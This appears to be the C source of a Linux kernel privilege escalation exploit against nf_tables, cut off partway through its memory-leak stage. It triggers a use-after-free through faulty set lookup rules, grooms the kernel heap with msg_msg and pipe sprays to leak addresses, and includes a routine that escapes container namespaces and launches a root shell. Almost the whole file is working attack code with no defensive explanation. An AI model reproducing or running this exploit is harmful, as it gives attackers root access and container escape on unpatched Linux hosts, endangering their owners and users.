// gcc exp.c -o exp -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/resource.h>

//#define TARGET_SET_SIZE 0x258 // for kmalloc-cg-1k slab
#define TARGET_SET_SIZE 0x180 // for kmalloc-cg-512 slab
#define NORMAL_SET_SIZE 0x158
#define LEAK_MSG_MSG_SIZE 0x200
#define LEAK_MSG_MSG_SPRAY_CNT 0x400
#define BARRIOR_MSG_MSG_SPRAY_CNT 0x1000
#define DELAY_SET_ELEM_CNT (0x300 * 0x800)
#define PIPE_SPRAY_CNT 0x800

int flag = 0;

#define mnl_batch_limit (1024 * 1024)
char mnl_batch_buffer[2 * mnl_batch_limit];
char mnl_batch_buffer2[2 * mnl_batch_limit];
char log_prefix[0x100];

struct msgp {
        long mtype;
        char mtext[1];
};

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}

uint32_t family = NFPROTO_INET;
char *spray_table_name = "spray_table";
char *exploit_table_name = "exploit_table";

char *spray_chain_name = "OUTPUT";
char *exploit_chain_name = "OUTPUT";

//char *exploit_set_name = "set_A";
char *barrior_set_name = "set_barrior";
char *delay_set_name = "set_delay";
char *lookup_alloc_name = "set_Alloc";

static void create_table(struct mnl_nlmsg_batch *batch, uint32_t seq, char * table_name)
{
    struct nftnl_table *table = nftnl_table_alloc();
    if (table == NULL) {
        errx(1, "Cannot into nftnl_table_alloc()");
    }

    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_table_free(table);
}


static void create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *set_name, uint32_t set_id, uint32_t set_flags,
    uint32_t set_key_len, uint32_t set_desc_size,
    void *set_userdata, uint32_t set_userdata_len)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
    nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
    if (set_desc_size != 0) {
        nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
    }
    if (set_userdata != NULL) {
        nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
    }

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}

static void delete_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *set_name)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}


static void create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *set_name,
    void *set_elem_key, uint32_t set_elem_key_len)
{
    char set_elem_userdata[0x2f] = {};

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
    if (set_elem == NULL) {
        errx(1, "Cannot into nftnl_set_elem_alloc()");
    }

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));

    nftnl_set_elem_add(set, set_elem);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name, char *set_name, int set_id)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
    if (lookup == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void create_faulty_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name, char *set_name, int set_id)
{   
    struct nftnl_expr *lookup1, *lookup2;
    struct nftnl_rule *rule;

    rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    lookup1 = nftnl_expr_alloc("lookup");
    if (lookup1 == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    // for release
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup1, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup1);

    lookup2 = nftnl_expr_alloc("lookup");
    if (lookup2 == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    // for fault
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_SREG, 0);
    nftnl_expr_set_str(lookup2, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup2);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void delay_spray_set_elem(struct mnl_socket *nl, char * table_name, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, delay_set_name);

    uint64_t count = set_elem_key_end - (*set_elem_key);
    if (count > 0x800) {
        count = 0x800;
    }
    while (count > 0) {
        -- count;

        struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
        if (set_elem == NULL) {
            errx(1, "Cannot into nftnl_set_elem_alloc()");
        }

        nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));

        nftnl_set_elem_add(set, set_elem);

        ++ (*set_elem_key);
    }

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
        cpu_set_t *set = malloc(sizeof(cpu_set_t));

        CPU_ZERO(set);
        CPU_SET(cpu_n, set);

        if (sched_setaffinity(pid, sizeof(set), set) < 0){
                perror("sched_setaffinity");
                return;
        }
        free(set);
}

static void prepare_nftables(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    // table for spray
    create_table(batch, seq++, spray_table_name);
    create_chain(batch, seq++, spray_table_name, spray_chain_name);

    // table for exploit
    create_table(batch, seq++, exploit_table_name);
    create_chain(batch, seq++, exploit_table_name, exploit_chain_name);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret == -1) {
            err(1, "Cannot into mnl_socket_recvfrom()");
        }
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret == -1) {
            err(1, "Cannot into mnl_cb_run()");
        }
        table_seq++;
    }
}

static void prepare_delay_set(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    // set for delaying transaction
    create_set(batch, seq++, spray_table_name, delay_set_name, 1, 0, sizeof(uint64_t), 0, NULL, 0);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret == -1) {
            err(1, "Cannot into mnl_socket_recvfrom()");
        }
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret == -1) {
            err(1, "Cannot into mnl_cb_run()");
        }
        table_seq++;
    }
    
    // add tons of elems into delay set
    size_t i = 0;
    while(i < DELAY_SET_ELEM_CNT){
        delay_spray_set_elem(nl, spray_table_name, &i, DELAY_SET_ELEM_CNT);
    }
}

static void trigger_uaf(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    struct mnl_nlmsg_batch *batch;
    int ret;
    char exploit_set_name[0x100], barrior_set_name[0x100];
    char udata_buf[TARGET_SET_SIZE];
    //char * exploit_set_name = "set_exploit";

    // first batch : register anon set
    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    memset(exploit_set_name, 'A', sizeof(exploit_set_name));
    memset(udata_buf, 0, TARGET_SET_SIZE);
    exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
    create_set(batch, seq++, exploit_table_name, "a", 0x13100, NFT_SET_ANONYMOUS, 1, 0, udata_buf, TARGET_SET_SIZE - NORMAL_SET_SIZE);
    create_set(batch, seq++, exploit_table_name, "b", 0x13101, NFT_SET_ANONYMOUS, 1, 0, udata_buf, TARGET_SET_SIZE - NORMAL_SET_SIZE);
    // barrior sets for bypass freelist check
    //for(int i = 0; i < 0x10; i++){
    //    memset(exploit_set_name, 'A' + i, sizeof(exploit_set_name));
    //    exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
    //    create_set(batch, seq++, exploit_table_name, barrior_set_name, 0x13101 + i, NFT_SET_ANONYMOUS, 1, 0, NULL, NULL);
    //}

    create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "a", 0x13100);
    create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "b", 0x13100);

    //for(int i = 0; i < 0x10; i++){
    //    memset(exploit_set_name, 'A' + i, sizeof(exploit_set_name));
    //    exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
    //    create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, barrior_set_name, 0x13101 + i);
    //}

    create_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "a", 0x13100);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    // start spray thread
    printf("[*] first batch will start with spray\n");
    flag = 1;
    sleep(1);
    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }
    // stop spray thread
    flag = 0;

    mnl_nlmsg_batch_stop(batch);
    printf("[*] first batch done\n");
}

void init_msgq(int *msgq_arr, size_t cnt){
         for(size_t i = 0; i < cnt; i++)
                if((msgq_arr[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) < 0)
                        perror("msgget");
}

int send_msg(int msgqid, char * data, size_t size, long mtype){
        struct msgp * m = malloc(sizeof(long) + size);
        int ret = -1;
        memcpy(m->mtext, data, size);
        m->mtype = mtype;

        ret = msgsnd(msgqid, m, size, 0);

        free(m);
        return ret;
}

void spray_msgsnd(int * msgq_arr, size_t spray_size, size_t cache_size, char * data, size_t iter, long mtype){
        for(size_t i = 0; i < spray_size; i++)
                for(size_t j = 0; j < iter; j++){
                        if(msgq_arr[i] < 0) continue;
                        if(send_msg(msgq_arr[i], data, cache_size - 48, mtype) < 0)
                                perror("msgsnd");
                }
        return;
}

void release_msg(int * msgq_arr, size_t spray_size){
        int ret;
        char msg_buf[0x2000];
        struct msgp * msg = (struct msgp *)msg_buf;

        for(size_t i = 0; i < spray_size; i++){
                if(msgq_arr[i] < 0) continue;
                memset(msg_buf, 0, sizeof(msg_buf));
                ret = msgrcv(msgq_arr[i], msg, sizeof(msg_buf) - 1, 0, IPC_NOWAIT);
                if(ret < 0) perror("msgrcv");
        }
}

/*
void * thread_func(void * arg){
    size_t cnt = 0;
    char buf[LEAK_MSG_MSG_SIZE];
    
    // pin the cpu
    set_cpu_affinity(0, 0);
    memset(buf, 'A', LEAK_MSG_MSG_SIZE);

    while(!flag){};

    // perform kmalloc-cg spray
    spray_msgsnd(msgqids1, LEAK_MSG_MSG_SPRAY_CNT, LEAK_MSG_MSG_SIZE, buf, 1, 1);
    
    return;
}*/
/*
void * thread_func(void * arg){
    struct mnl_socket *nl = *(struct mnl_socket **)arg;
    uint32_t portid, seq, table_seq;
    struct mnl_nlmsg_batch *batch;
    size_t cnt = 0;
    int ret;
    char buf[LEAK_MSG_MSG_SIZE], reclaim_set_name[0x100];
    
    // pin the cpu
    set_cpu_affinity(0, 0);
    memset(buf, 'A', LEAK_MSG_MSG_SIZE);
    memset(reclaim_set_name, 0, sizeof(reclaim_set_name));

    while(!flag){};

    while(flag){
        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(mnl_batch_buffer2, mnl_batch_limit);

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        table_seq = seq;
        mnl_nlmsg_batch_next(batch);

        for(size_t i = 0; i < 0x100; i++){
            snprintf(reclaim_set_name, sizeof(reclaim_set_name), "reclaim_set%d",cnt + i);
            create_set(batch, seq++, spray_table_name, reclaim_set_name, 0x23450 + cnt + i, 0, 2, 0, NULL, NULL);
        }

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                            mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "Cannot into mnl_socket_sendto()");
        }
        while (table_seq + 1 != seq) {
            ret = mnl_socket_recvfrom(nl, mnl_batch_buffer2, mnl_batch_limit);
            if (ret == -1) {
                err(1, "Cannot into mnl_socket_recvfrom()");
            }
            ret = mnl_cb_run(mnl_batch_buffer2, ret, table_seq, portid, NULL, NULL);
            if (ret == -1) {
                err(1, "Cannot into mnl_cb_run()");
            }
            table_seq++;
        }
        cnt += 0x100;
    }
    printf("[*] total %d cnt\n", cnt);
    return;
}
*/

int ulimit_fd(void) {
    struct rlimit rlim;
    
    // Get the current resource limits
    if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("getrlimit");
        return 1;
    }
    
    printf("Current maximum file descriptors limit: %ld\n", rlim.rlim_cur);
    
    // Increase the maximum file descriptors limit
    rlim.rlim_cur = rlim.rlim_max;
    if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("setrlimit");
        return 1;
    }
    
    // Get the updated resource limits
    if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("getrlimit");
        return 1;
    }
    
    printf("New maximum file descriptors limit: %ld\n", rlim.rlim_cur);
    
    return 0;
}

pthread_t th;

unsigned long cs;
unsigned long rsp;
unsigned long ss;
unsigned long rflags;

static void save_state() {
	asm(
	"movq %%cs, %0\n"
	"movq %%ss, %1\n"
	"pushfq\n"
	"popq %2\n"
  	"movq %%rsp, %3\n"
	: "=r" (cs), "=r" (ss), "=r" (rflags), "=r" (rsp) : : "memory" );
}

void post_exploit(void){
    printf("[+] exploit success!!\n");
    // spin the parent
    if(fork()){ for(;;); }
    // move to safe cpu
    // to prevent access to corrupted freelist
    set_cpu_affinity(1, 0);
    sleep(1);
    
	// escape pid/mount/network namespace
	setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
	setns(open("/proc/1/ns/pid", O_RDONLY), 0);
	setns(open("/proc/1/ns/net", O_RDONLY), 0);

    printf("[+] now drop the shell\n");

	// drop root shell
	execlp("/bin/bash", "/bin/bash", NULL);
	exit(0);
    
}

int main(int argc, char ** argv)
{
    struct mnl_socket *nl;
    char msg_buf[0x2000];
    char buf[0x2000];
    struct msgp * msg = (struct msgp *)msg_buf;
    int ret;
    int msgqids1[LEAK_MSG_MSG_SPRAY_CNT];
    int msgqids2[BARRIOR_MSG_MSG_SPRAY_CNT];
    int msgqid3;
    int msgqids4[BARRIOR_MSG_MSG_SPRAY_CNT];
    int pipefd[PIPE_SPRAY_CNT][2];

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
   
    // exploit initialization
    unshare_setup(getuid(), getgid());
    ulimit_fd();
    set_cpu_affinity(0, 0);
    
	init_msgq(msgqids1, 3);
    init_msgq(&msgqid3, 1);

    // for prevent accessing corrupted freelist
    // ...and for objects to leak
    // 1k -> TARGET_CACHE (512) -> 4k
    // (for struct pipe_buf) -> (for reclaim) -> (for ROP payload)
    init_msgq(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT);
    init_msgq(msgqids4, BARRIOR_MSG_MSG_SPRAY_CNT);

    // defragmentation 
    spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, 0x400, buf, 1, 2);
    spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, LEAK_MSG_MSG_SIZE, buf, 1, 2);
    spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, 0x1000, buf, 1, 2);
    release_msg(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT);
    release_msg(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT);
    release_msg(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT);
    
    memset(buf, 0, LEAK_MSG_MSG_SIZE);
    // 1k-sized msg_msg is special
    // it needs to be identified for KASLR leak
    // let just avoid vary first QWORD since it's used by msg_msgseg->next
    // and let's alternatively spray pipe_buffer also
    for(int i = 0; i < BARRIOR_MSG_MSG_SPRAY_CNT; i++){
            memset(buf, 0, 0x400);
            *(uintptr_t *)(buf + 8) = i;
            *(uintptr_t *)(buf + 0x400 - 48 - 8) = i;
            if(send_msg(msgqids2[i], buf, 0x400 - 48, 1) < 0)
                    perror("msgsnd");
    }
    //spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, 0x400, buf, 1, 1);
    memset(buf, 0, LEAK_MSG_MSG_SIZE);
    spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, LEAK_MSG_MSG_SIZE, buf, 1, 2);
    memset(buf, 0, 0x1000);
    spray_msgsnd(msgqids2, BARRIOR_MSG_MSG_SPRAY_CNT, 0x1000, buf, 1, 3);

    // make some room for double freed chunks
    for(size_t i = 10; i < 12; i++){
			memset(msg_buf, 0, sizeof(msg_buf));
			ret = msgrcv(msgqids2[i], msg, sizeof(msg_buf), 2, IPC_NOWAIT);
			if(ret < 0)
                err(1, "msgrcv");
	}

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "Cannot into mnl_socket_open()");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        err(1, "Cannot into mnl_socket_bind()");
    }

    // setup table and chains
    printf("[*] prepare table and chain...\n");
    prepare_nftables(nl);
    //printf("[*] prepare set for delay...\n");
    //prepare_delay_set(nl);

    // spwan spray thread
	//pthread_create(&th, NULL, thread_func, &nl);

    printf("[*] now trigger UAF...\n");
    trigger_uaf(nl);

    //pthread_join(th);

    // spary msg_msg with unique types
    for(int i = 0; i < 3; i++){
            memset(buf, 0, LEAK_MSG_MSG_SIZE);
            if(msgqids1[i] < 0) continue;
            if(send_msg(msgqids1[i], buf, LEAK_MSG_MSG_SIZE - 48, i + 1) < 0)
                    perror("msgsnd");
    
    }

    // and check duplicate
    int key1, key2;
	memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    key1 = msg->mtype;

    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[2], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    key2 = msg->mtype;

    if(key1 != key2){
        err(1, "fail to get double free...");
    }
    printf("[+] we have duplicated msg_msg! : %d, %d, %d\n", key1, key2, ret);
    
    // free the overlapping one
    ret = msgrcv(msgqids1[2], msg, sizeof(msg_buf) - 1, 0, IPC_NOWAIT | MSG_NOERROR);
    if(ret < 0) perror("msgrcv");   

    // reclaim it with msg_msgseg
    memset(buf, 0, sizeof(buf));
    uintptr_t buf_ptr = (uintptr_t)buf - 48;
    // write the fake size
    *(uintptr_t *)(buf_ptr + 0x1000) = 0; // mlist.prev
	*(uintptr_t *)(buf_ptr + 0x1000 + 8) = 2; // m_type
    *(uintptr_t *)(buf_ptr + 0x1000 + 0x10) = 0x1000; // m_ts
    // PG_SIZE - sizeof(struct msg_msg) - TARGET_SIZE - sizeof(struct msg_msgseg)
    if(send_msg(msgqid3, buf, 0x1000 + (LEAK_MSG_MSG_SIZE - 0x10) - 48 - 8, 1) < 0)
        perror("msgsnd");

	memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, 0x1000, 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");

    uintptr_t large_msg_msg_addr = 0;
    uintptr_t small_msg_msg_addr = 0;
    printf("[*] overlapped by msg_msgseg : size %d\n", ret);
    uintptr_t *payload = (uintptr_t *)msg->mtext;
    //for(size_t i = 0; i < ret / 8; i ++){
    //    printf("%d : 0x%llx\n", i, payload[i]);
    //}
    // candidate offsets by spray layout
    if (payload[58] && payload[59]){
        large_msg_msg_addr = payload[58];
